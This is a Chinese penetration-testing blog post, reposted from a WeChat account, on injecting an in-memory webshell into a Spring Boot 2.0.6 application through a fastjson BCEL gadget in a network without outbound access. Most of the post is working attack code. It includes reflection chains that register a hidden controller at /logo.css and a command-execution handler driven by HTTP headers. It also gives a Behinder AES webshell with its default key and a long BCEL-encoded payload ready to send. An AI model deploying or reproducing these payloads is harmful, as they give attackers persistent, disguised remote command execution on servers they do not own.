bcel环境下打入springboot内存马

渗透技巧 2年前 (2022) admin
1,304 0 0

1.环境说明

在某个不出网环境中,spring boot jar包启的环境,存在fastjson漏洞,可通过bcel类来执行命令并回显。

但是由于为不出网环境需要开正向代理出来,所以需要打入内存马。

因为目标的 spring boot 版本 为2.0.6.RELEASE,所以我本地测试也是用的这个版本。不同的springboot版本在查找mappingHandlerMapping这个class上可能不一样

2.spring boot 内存马

通过网络查找内存马代码如下

@RequestMapping("/3")    public String servlet3() {
@RestController class InjectToController { public InjectToController() {
}
public void test() throws Exception { // 获取request和response对象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); // 获取cmd参数并执行命令 //System.out.println(request.getParameter("cmd")); java.lang.Runtime.getRuntime().exec("open -a Calculator"); // response.getWriter().write("a"); } } try { // 1. 利用spring内部方法获取context WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 2. 从context中获得 RequestMappingHandlerMapping 的实例 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 3. 通过反射获得自定义 controller 中的 Method 对象 Method method = InjectToController.class.getMethod("test"); // 4. 定义访问 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/cmd"); // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 6. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController(); mappingHandlerMapping.registerMapping(info, injectToController, method); return "inject ok..."; } catch (Exception ex) { return "inject fail..."; } }

访问该路由,注入内存马

bcel环境下打入springboot内存马

再访问cmd,可成功触发代码

bcel环境下打入springboot内存马

但是在becl的classloader中因为加载器的不同是无法直接import spring相关的一系列包的,如果想要使用spring相关的class,必须通过Thread.currentThread().getContextClassLoader().loadClass("org.sping....")这种方式来load。

然后因为没有代码上下文环境,所以我们也不能通过context.getBean的方法来获取mappingHandlerMapping这个class,spring的 servlet就是存放在该class中的。

所以我们直接用过java_object_serach来在Thread.currentThread()中搜索该class的路径,结果如下

bcel环境下打入springboot内存马

我们通过反射来拿到该变量

ClassLoader springClassload = Thread.currentThread().getContextClassLoader();
Field resourcesField = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getDeclaredField("resources"); resourcesField.setAccessible(true); Object context = resourcesField.get(Thread.currentThread().getContextClassLoader());
Field contextField = context.getClass().getDeclaredField("context"); contextField.setAccessible(true); Object context2 = contextField.get(context); Field context2Field = context2.getClass().getSuperclass().getDeclaredField("context"); context2Field.setAccessible(true); Object context3 = context2Field.get(context2);
Field attributesField = context3.getClass().getDeclaredField("attributes"); attributesField.setAccessible(true); ConcurrentHashMap attributesMap = (ConcurrentHashMap) attributesField.get(context3); Object springRoot = attributesMap.get("org.springframework.web.context.WebApplicationContext.ROOT");
Field applicationEventMulticasterField = springRoot.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("applicationEventMulticaster"); applicationEventMulticasterField.setAccessible(true); Object applicationEventMulticaster = applicationEventMulticasterField.get(springRoot);
Field retrievalMutexField = applicationEventMulticaster.getClass().getSuperclass().getDeclaredField("retrievalMutex"); retrievalMutexField.setAccessible(true); ConcurrentHashMap retrievalMutex = (ConcurrentHashMap) retrievalMutexField.get(applicationEventMulticaster);

Constructor patternsRequestCondition = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.servlet.mvc.condition.PatternsRequestCondition").getConstructor(String[].class); // PatternsRequestCondition url = new PatternsRequestCondition("/cmd"); // String[] urls = {"/cmd"}; Object url = patternsRequestCondition.newInstance(new Object[]{new String[]{"/logo.css"}});

// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST) // RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); Constructor msConstructor = springClassload.loadClass("org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition").getConstructor(Array.newInstance(springClassload.loadClass("org.springframework.web.bind.annotation.RequestMethod"), 1).getClass()); Object ms = msConstructor.newInstance(new Object[]{Array.newInstance(springClassload.loadClass("org.springframework.web.bind.annotation.RequestMethod"), 0)});
// RequestMappingInfo info = new RequestMappingInfo((PatternsRequestCondition) url, ms, null, null, null, null, null); Constructor requestMappingInfoConstructor = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo").getConstructor(springClassload.loadClass("org.springframework.web.servlet.mvc.condition.PatternsRequestCondition"), springClassload.loadClass("org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition"), springClassload.loadClass("org.springframework.web.servlet.mvc.condition.ParamsRequestCondition"), springClassload.loadClass("org.springframework.web.servlet.mvc.condition.HeadersRequestCondition"), springClassload.loadClass("org.springframework.web.servlet.mvc.condition.ConsumesRequestCondition"), springClassload.loadClass("org.springframework.web.servlet.mvc.condition.ProducesRequestCondition"), springClassload.loadClass("org.springframework.web.servlet.mvc.condition.RequestCondition"));Object info = requestMappingInfoConstructor.newInstance(url, ms, null, null, null, null, null);

然后在demo代码中,是直接通过定义一个内部类然后注入到requestMappingHandlerMapping中,但是在bcel环境中,因为加载器的不同,我们无法直接使用内部类,会提示找不到class,所以我们通过反射bcelclass然后load一个class进来。

Object bcelclassLoader = springClassload.loadClass("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance();Method loadClassmethod = bcelclassLoader.getClass().getMethod("loadClass",String.class);Class ob1 = (Class) loadClassmethod.invoke(bcelclassLoader,"$$BCEL$$.....");Method method2 = ob1.getMethod("test");Object injectToController = ob1.newInstance();

然后再进行注入

 Method registerMethod = retrievalMutex.get("requestMappingHandlerMapping").getClass().getSuperclass().getSuperclass().getDeclaredMethod("registerMapping", Object.class, Object.class, Method.class);registerMethod.invoke(retrievalMutex.get("requestMappingHandlerMapping"), info, injectToController, method2);

通过这些代码,可以实现将任意方法注册到一个servlet中,以实现命令执行为例,class定义如下

package com.example.demo.fastjson.vul;
import java.lang.reflect.Field;import java.util.List;import java.util.Scanner;
public class InjectToController { public InjectToController() {
}
public void test() throws Exception { try { boolean var0 = false; Thread[] var1 = (Thread[])((Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads"));
for(int var2 = 0; var2 < var1.length; ++var2) { Thread var3 = var1[var2]; if (var3 != null) { String var4 = var3.getName(); if (!var4.contains("exec") && var4.contains("http")) { Object var5 = getFV(var3, "target"); if (var5 instanceof Runnable) { try { var5 = getFV(getFV(getFV(var5, "this$0"), "handler"), "global"); } catch (Exception var11) { continue; }
List var6 = (List)getFV(var5, "processors");
for(int var7 = 0; var7 < var6.size(); ++var7) { Object var8 = var6.get(var7); var5 = getFV(var8, "req"); Object var9 = var5.getClass().getMethod("getResponse").invoke(var5); var4 = (String)var5.getClass().getMethod("getHeader", String.class).invoke(var5, new String("Testecho")); if (var4 != null && !var4.isEmpty()) { var9.getClass().getMethod("setStatus", Integer.TYPE).invoke(var9, new Integer(200)); var9.getClass().getMethod("addHeader", String.class, String.class).invoke(var9, new String("Testecho"), var4); var0 = true; }
var4 = (String)var5.getClass().getMethod("getHeader", String.class).invoke(var5, new String("Testcmd")); if (var4 != null && !var4.isEmpty()) { var9.getClass().getMethod("setStatus", Integer.TYPE).invoke(var9, new Integer(200)); String[] var10 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var4} : new String[]{"/bin/sh", "-c", var4}; writeBody(var9, (new Scanner((new ProcessBuilder(var10)).start().getInputStream())).useDelimiter("\A").next().getBytes()); var0 = true; }
if ((var4 == null || var4.isEmpty()) && var0) { writeBody(var9, System.getProperties().toString().getBytes()); }
if (var0) { break; } }
if (var0) { break; } } } } } } catch (Exception var12) { } }

private static void writeBody(Object var0, byte[] var1) throws Exception { Object var2; Class var3; try { var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); var2 = var3.newInstance(); var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Object[]{new Integer(0), new Integer(var1.length)}); var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); } catch (ClassNotFoundException var5) { var3 = Class.forName("java.nio.ByteBuffer"); var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1); var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); } catch (NoSuchMethodException var6) { var3 = Class.forName("java.nio.ByteBuffer"); var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1); var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); }
}
private static Object getFV(Object var0, String var1) throws Exception { Field var2 = null; Class var3 = var0.getClass();
while (var3 != Object.class) { try { var2 = var3.getDeclaredField(var1); break; } catch (NoSuchFieldException var5) { var3 = var3.getSuperclass(); } }
if (var2 == null) { throw new NoSuchFieldException(var1); } else { var2.setAccessible(true); return var2.get(var0); } }}

通过如下代码可将该class转换为bcel码

@RequestMapping("/5")    public void servlet5() throws ClassNotFoundException, InstantiationException, IllegalAccessException, IOException {        JavaClass cls = Repository.lookupClass(InjectToController.class);        String code = Utility.encode(cls.getBytes(), true);        System.out.println("$$BCEL$$" + code);    }

然后替换上文中Class ob1 = (Class) loadClassmethod.invoke(bcelclassLoader,"$$BCEL$$.....");这里的bcel代码

然后再将内存马注入代码转换为bcel码,然后通过fastjson进行执行,我这里通过直接load来模拟漏洞环境

bcel环境下打入springboot内存马

执行以后spring boot控制台提示有新的map

bcel环境下打入springboot内存马

然后访问/logo.css试试,成功命令执行内存马注入

bcel环境下打入springboot内存马

3.打入冰蝎马

冰蝎服务端代码示例如下:

package com.example.spring_demo;
import javax.crypto.Cipher;import javax.crypto.NoSuchPaddingException;import javax.crypto.spec.SecretKeySpec;import java.io.BufferedReader;import java.lang.reflect.Method;import java.security.InvalidKeyException;import java.security.NoSuchAlgorithmException;import java.util.HashMap;import java.util.Map;
public class InjectToController extends ClassLoader { public InjectToController() {
}
InjectToController(ClassLoader c) { super(c); }
public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }

public void test() throws Exception { ClassLoader springLoader = Thread.currentThread().getContextClassLoader(); Method currentRequestAttributesMethod = springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("currentRequestAttributes"); Object reqFace = currentRequestAttributesMethod.invoke(springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"));
Method getRequestMethod = reqFace.getClass().getMethod("getRequest"); Object request = getRequestMethod.invoke(reqFace); Method getResponseMethod = reqFace.getClass().getMethod("getResponse"); Object response = getResponseMethod.invoke(reqFace);
String getMethod = (String) request.getClass().getMethod("getMethod").invoke(request); String payload;

if (getMethod.equals("POST")) { BufferedReader b = (BufferedReader) request.getClass().getMethod("getReader").invoke(request); payload = b.readLine(); } else { payload = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "p"); if (payload == null || payload.equals("")) { Object writer = response.getClass().getMethod("getWriter").invoke(response); writer.getClass().getMethod("println", String.class).invoke(writer, "ok"); writer.getClass().getMethod("flush").invoke(writer); writer.getClass().getMethod("close").invoke(writer); return; } }
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ // req.getSession().putValue("u", k); Object session = request.getClass().getMethod("getSession").invoke(request); session.getClass().getMethod("putValue", String.class, Object.class).invoke(session, "u", k);
Cipher c = null; try { c = Cipher.getInstance("AES"); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } catch (NoSuchPaddingException e) { e.printStackTrace(); } try { c.init(2, new SecretKeySpec(k.getBytes(), "AES")); } catch (InvalidKeyException e) { e.printStackTrace(); } try { Map<String, Object> pageContext = new HashMap<String, Object>(); pageContext.put("session", session); pageContext.put("request", request); pageContext.put("response", response);
this.g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload))).newInstance().equals(pageContext); } catch (Exception e) { e.printStackTrace(); } }}

转为bcel code为

$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dW$eb$7f$iU$Z$7e$cefwgvv$b6$97$ed$r$jl$L$r$b4$e4$d2fK$9b$AYB$da$q$q$q4iC6$s$96$a08$d9$3d$9bl$b3$d9$d9$ce$ce6$897$U$_$a0$a8$uZ$V$adE$U$u$V$c4$d6$cb$a6P$a9$a8$V$uj$bcU$fb$c9O$fc$B$7e$c3$P$f8$D$df33$bb$c9f$b7$d8$fc6g$cey$df$f7$3c$e7$bd$9f$997$df$7d$f9$C$80$W$fcS$c1$3e$cc$89a$5e$M$lS$f0q$7cB$M$9f$94$f1$vAyP$c6$a7$r$7cFA$A$PI$f8$ac$82$cf$e1$f3$K$82$f8$82$8c$87e$3c$o$p$n$e1$8b2$be$a4$60$z$k$95$f1e$J_Q$b0$B_$95$f1$98$8c$af$c9$f8$ba$8c$c7e$7cC$c67e$i$97$f1$z$Z$df$96$f1$j$ZO$c8$f8$ae$8c$ef$v8$81$efK8$a9$60$3b$9e$94$f0$D$F7$8b$e7S$C$ee$87$K$g$f0$p$n$f1$b4$84g$U$ec$S$9cg$VD0$t$p$Z$c4$v$3c$tC$97$R$97pZA$ab0$a3$V$3f$W$f2$cf$x$e8$c0$LB$e7$9f$I$5d$l$95$f0$a2$82v$b1$fd$a7$S$ce0$f8$dbS$99$94$d5$c1PS$df0$ca$e0$ed6$S$9ca$f5$40$w$c3$P$e6g$s$b89$a2O$a4$89$S$k0$e2zzT7Sb$ed$S$bd$d6T$w$c7$b0s$mn$ccD$f8$9c$3e$93M$f3H$$k$a62$93$P$q$f8$8c$R$e9$cf$i$e1qk$c4$e862$96i$a4$d3$dc$bc$83$e1$ba$fa$81$p$fa1$3d$92$d63$93$91$ee$b4$9e$cb$N$Yz$82XB$B$Wg$a8$bd$K$9fa$cd$m$b7$a6$8c$c4$90n$ea3$dc$e2$s$j$ce$s$Z6$d4$8fw5$ac$dcD$e2l$82$c13$de$r$U$e59$8ba$93$p$932$o$5d$f9d$92$9b$3c1$cc$5dd$v$ab$cf$a7$e9$Ya$e9$SP$cc$S$b6$Q$db$3fk$a6$e8$bcr$ee$a1$Ja$9d8$87$7c$e1$g$95$e3$f1$3c$89$ceG$O$g$b1$7c$7c$aa3$3di$d0rj$a6g$$$ce$b3V$ca$c8$90$f8v$5bt$$$S7$e7$b3$96$e1J$O$e9$89$E$9d$b5$5c$aen$Fd$7f$e6$98$9eN$r$O$f0$f9$e5R$c1$ac$3e$c9$85$83$f9$9c$r$og$ef$c9$5b$a9tdP$cf$S$7f$c32$8d$97$efS$9d$409$bee$d8J$87$98$3cc$N$f3$a3yrV$a7E$a6O$e4$c9o$8e$cb$vl$cbpL$9eL$93$e9$R$87$t$dcg$f2$a3$bdz$9c$fc$b0f$92$X1$8a$3b$F3o$H$60$ad$cd$cce$8dL$8e$X$b9$b2$e9$S$Y$C$c4$$$92$d94m$cc$f1$5c$8e$b4$z$gQrYw$w$3be$87mcyZ$ceg$8b$a9$d9Z$ee$87$f6$ca$a0V$G$b2$83$AC1K$8fO$d3$O$h$c7$a9$S$Jg$a9$de$a9$b8$r$fc$8c$K$94j$93$8a$90$K$89A$v9$942Q$89$Zy3$ce$7bS$e2$fc$da$ca$d4o$W$H$aa$d8$8fN1$dc$ad$e2$e7$f8$85$84_$aa$u$60A$c59$bc$c4$d0n$98$93$cdN$5c$92$o$c5g$Ns$bay$96O4$c7$9d$f86$bb$9elv$3d$ec$86$bd$cfHS$MU$bc$8c$f3$94$e4W$L$q$r$c7$8a$SQ$91$c0$af$ud$x$3dA$G$abx$F$XT$fc$g$af$92aK$n$a5t$5b$W$c2$b2$ad$8e$5b$a9$d6$86$O$c5FT$fc$G$bfu$C$ea$94$Y$85$aaz$ed$a9$f8$j$$$3a$92$7d$ae$q$cb2$c0$n$8d$b9e$t$J$9fXi$ca$E$8fA$89$e1K$a6$f3$b9$vz$c6$d3$86$ad$Goi$e5$7b$f7$b4$r$f9Dk$a2mO$eb$84$a3t$ac$98$3er6o$8d$ea$e9$3c$89$b2$3c$f5$ba$ce$9e$Y$c5R$c5$ef$f1$g$c3$8ek$x$5c$V$af$a3$93$8a$f2$gj$97$e1$fa2$a9$5c$96$c7$p1$k7$b9E$c5$h$a3$95$8a7pI$a4$c1$9b$w$fe$80$3f2l$fb$bf$a5N$d5$b3$94$d2$7dzn$8a$92T$c2$9fT$y$e2$cf$e4$dd$5c$3e$T$99I$e5$e2$91$ae$ceX$cf$ad$zw$f1$b8a$7b$f7$_$f8$ab$8a$bf$e1$ef$w$O$60$40$c5e$fc$83a$5d$95$8e$c0$d0x$ed$5d$9c$K$b2j$8b$a6$ec$bbZ$93pO$5dQ$c2$94O$J$9e$a4$cb$c6$G$a1$b2$a1N$de$df_$ad$97$_$cb$b4$91$v$93$8bN$jr3$bd$b8$5e_$bf$7c$a3C$V$N$902$c1$z$942U$b5$fa$8asJ$XM$40$dc$F$aeN$db$eb$x$9bG5$N$f7W$91$h$af$90kx$bf6$eaOe$8e$Z$d3$94$a5m$f5$95$edi$bc$92$d4P$ed6$92$85$bd$8e$ea$eb$wM$U$a7P$z$eb$e9$9c$b87$ab$40$deg$b7d$3d$n$5e$BV$fa$b4t$l$8a$$$d0$9f$c9YzF$f4$fc$86$abz$a8$b2c$af$b6$x$d9$ee$b2$p$a6$7dc$I$7d$bb$e6$ed$G$e5$ado$Q$d7$b5$c8$82$w$88$e2$fdD$bc$ad$I$81$fe$Vw$pU$8a$z$Q$wk$fbT$eaT$f9$M$b7W1$f4$g$bd$a9$s$ecJr$9a$W$d5Y5S$85$ceR$c2$e8Me$f44$b9W$bc$8d$IR0$c3g$97$9cT$eeI$X$l$db$e8$f5l$l$c4$9f$97Z$k$dd$N4v$d1j$_$3d$a9$L$c2$d7$b8$Av$96$s$kt$d3$a8$d0$TXE$c2kp$X$cdTG$I$3d$e8$b5A$e8$5e$n$J$B$d0AO$n$ebolZ$80g$r$c2$3a$da$b3$deF$d8$e8H$95$Q$fc$e8C$3f$a1$de$pp$Z$zD$x$a6$d6$e1$c2$deIG$8b$N$81$c6$a6$9a$a6$L$L$a89SB$f6$db$ba$d4$$C$N$94P$D$Y$c4$c1$r$d4A$h$f5$QYk$a3z9m$5eE87$9d$83$b7$A$df$40S$d8_$80$U$96k$5eA$a0$Aep$a7C$a0e$b0$A$f5$e0$ae$CB$e1U$$3$ea$d5$bc$bb$5cN$d4g$b3V$XY$7e$cd_bI$9aO$f0$d6$b8$3c$cd$e72$5e$c5$da$a8$ac$c9$e1p$B$eb$9e$40$83$p$b5$beRjCT$d1$94$C6F$D$a7$f0$b4$pU$eb$r$a9$c35$e1$b51$5b$94VAZm$8a$b9$a8$B$z$f0$gBZ$m$ac$d9$d0$86$s$89M$d7$V$a1$8b$e68$b8$a1$f0$H$ca$d0$U$Xm$b3$40$hs$q$b6$U$b7$w$eeV$97$be$b5$82$7e6$7c$3d$c1$daJ$de$b0$d2$94hP$L$K$c66_$f1$bc$c3$dep$d0$3e4$e8s$O$bd$91H$9ab$9f$cc$a2j$b8$ee$in$8a$aa$a7$b0$3e$g$d2B$F$ec8E$ae$b5g$f5$9a$ea$3b$8f$86$c3B$8d$c6p$dd$C$9a$K$d8Y$e26$9fG$e4$f0$Cv$8bU$f8$W$z$f8$S$f6$d4$60$8c$e6$7b5_i$de$a2I$ce$bcQS$cf$a3$95$e4o$d5H$dd$db$K$b8$bd$80$b6$C$a2$C$e9$8e$b1$S$e8$9dg$e1e$c7$d9$J$f6$q$b6$db$cf$d3$b8$99$9da$X$d9$eb$d8$c5$W$3d$9ag3$7d$dex$ed$84$7c$RM4n$86$84$z$94$96$5b$b1$D7$d0g$d16$ca$ba$h1$84$3a$dcO_Zs$f4a$f5$Q$gq$92d$9f$c1N$3cG$dfV$8bh$c6$bf$e8$db$eam$ecf$9bp$L$db$8d$3d$ac$P$7bY$3fnc$83hcID$d9$e3hg$c7$d1$c1N$a0$9b4$d9$c7$9e$c2$7e$f6$y$cdO$d3$3b$c2$f3$e8bg$d0$c3$$$a2$8f$b4$eae$97p7$5b$c4$3d$ec$K$O$b0$b70$c0$fe$8dA$f6$O$Oy4$M$93$b6C$9e$ad$b8$d7S$87$98$5d8$97$e9$8b$f1$qi$3cH$g$w$a4Q$N$ee$c50$95$cf$db$c4$8fa$E$K$9d$e4$c3$H1$8a$Q$9d$pfc4$bbd$cf$3eD$b3$xTO$87q$lB$84$wh$e3$I$89$bar$LQ$f2l$n$abEy$d7zB$f80$3eB$f5$b7$83$bd$8b$H$I$b9$G$ad$a4$d9G$89$e6$r$h$de$82N4$l$86$d8eL$Q$cd$8f$fb$d9$h$88$TM$c2$i$7b$81$5e$i$87$nc$91$8d$3a$fa$91_$ae$80$d3L$n$ef$5c$40$92$e4$82$e4$9f$c7$a8$7fLR$93$9arZ$95$ab$5d$8at$3aB$U$D$ca$7b$e4$f0$80$84i$Ji$J3$S2$e5$a3$B$fc$X$z$f4$7c$H$d3$ef$915$a1$f7$R$z$feh$9e$F$93p$b4_$82$e9$l$95$90$f3$ff$H$83$S$y$3f$f2n$9bm$a7$ffcv$df$9a$fd$l$a1$ef$f7$b6$ff$P$A$A

对应 注入代码为

package com.example.spring_demo;
import java.lang.reflect.*;import java.util.concurrent.ConcurrentHashMap;
public class LoadInjectToController { static { try { ClassLoader springClassload = Thread.currentThread().getContextClassLoader();
Field resourcesField = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getDeclaredField("resources"); resourcesField.setAccessible(true); Object context = resourcesField.get(Thread.currentThread().getContextClassLoader());
Field contextField = context.getClass().getDeclaredField("context"); contextField.setAccessible(true); Object context2 = contextField.get(context); Field context2Field = context2.getClass().getSuperclass().getDeclaredField("context"); context2Field.setAccessible(true); Object context3 = context2Field.get(context2);
Field attributesField = context3.getClass().getDeclaredField("attributes"); attributesField.setAccessible(true); ConcurrentHashMap attributesMap = (ConcurrentHashMap) attributesField.get(context3); Object springRoot = attributesMap.get("org.springframework.web.context.WebApplicationContext.ROOT");
Field applicationEventMulticasterField = springRoot.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("applicationEventMulticaster"); applicationEventMulticasterField.setAccessible(true); Object applicationEventMulticaster = applicationEventMulticasterField.get(springRoot);
Field retrievalMutexField = applicationEventMulticaster.getClass().getSuperclass().getDeclaredField("retrievalMutex"); retrievalMutexField.setAccessible(true); ConcurrentHashMap retrievalMutex = (ConcurrentHashMap) retrievalMutexField.get(applicationEventMulticaster);

Constructor patternsRequestCondition = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.servlet.mvc.condition.PatternsRequestCondition").getConstructor(String[].class); // PatternsRequestCondition url = new PatternsRequestCondition("/cmd"); // String[] urls = {"/cmd"}; Object url = patternsRequestCondition.newInstance(new Object[]{new String[]{"/logo.css"}});

// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST) // RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); Constructor msConstructor = springClassload.loadClass("org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition").getConstructor(Array.newInstance(springClassload.loadClass("org.springframework.web.bind.annotation.RequestMethod"), 1).getClass()); Object ms = msConstructor.newInstance(new Object[]{Array.newInstance(springClassload.loadClass("org.springframework.web.bind.annotation.RequestMethod"), 0)});
// RequestMappingInfo info = new RequestMappingInfo((PatternsRequestCondition) url, ms, null, null, null, null, null); Constructor requestMappingInfoConstructor = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo").getConstructor(springClassload.loadClass("org.springframework.web.servlet.mvc.condition.PatternsRequestCondition"), springClassload.loadClass("org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition"), springClassload.loadClass("org.springframework.web.servlet.mvc.condition.ParamsRequestCondition"), springClassload.loadClass("org.springframework.web.servlet.mvc.condition.HeadersRequestCondition"), springClassload.loadClass("org.springframework.web.servlet.mvc.condition.ConsumesRequestCondition"), springClassload.loadClass("org.springframework.web.servlet.mvc.condition.ProducesRequestCondition"), springClassload.loadClass("org.springframework.web.servlet.mvc.condition.RequestCondition")); Object info = requestMappingInfoConstructor.newInstance(url, ms, null, null, null, null, null);
Object bcelclassLoader = springClassload.loadClass("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance(); Method loadClassmethod = bcelclassLoader.getClass().getMethod("loadClass", String.class); Class ob1 = (Class) loadClassmethod.invoke(bcelclassLoader, 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Method method2 = ob1.getMethod("test"); Object injectToController = ob1.newInstance();
Method registerMethod = retrievalMutex.get("requestMappingHandlerMapping").getClass().getSuperclass().getSuperclass().getDeclaredMethod("registerMapping", Object.class, Object.class, Method.class); registerMethod.invoke(retrievalMutex.get("requestMappingHandlerMapping"), info, injectToController, method2); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } }}

再将该文件转换为bcel code

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通过bcel打入

bcel环境下打入springboot内存马

bcel环境下打入springboot内存马

bcel环境下打入springboot内存马


原文始发于微信公众号(漏洞推送):bcel环境下打入springboot内存马

版权声明:admin 发表于 2022年10月14日 下午6:26。
转载请注明:bcel环境下打入springboot内存马 | CTF导航

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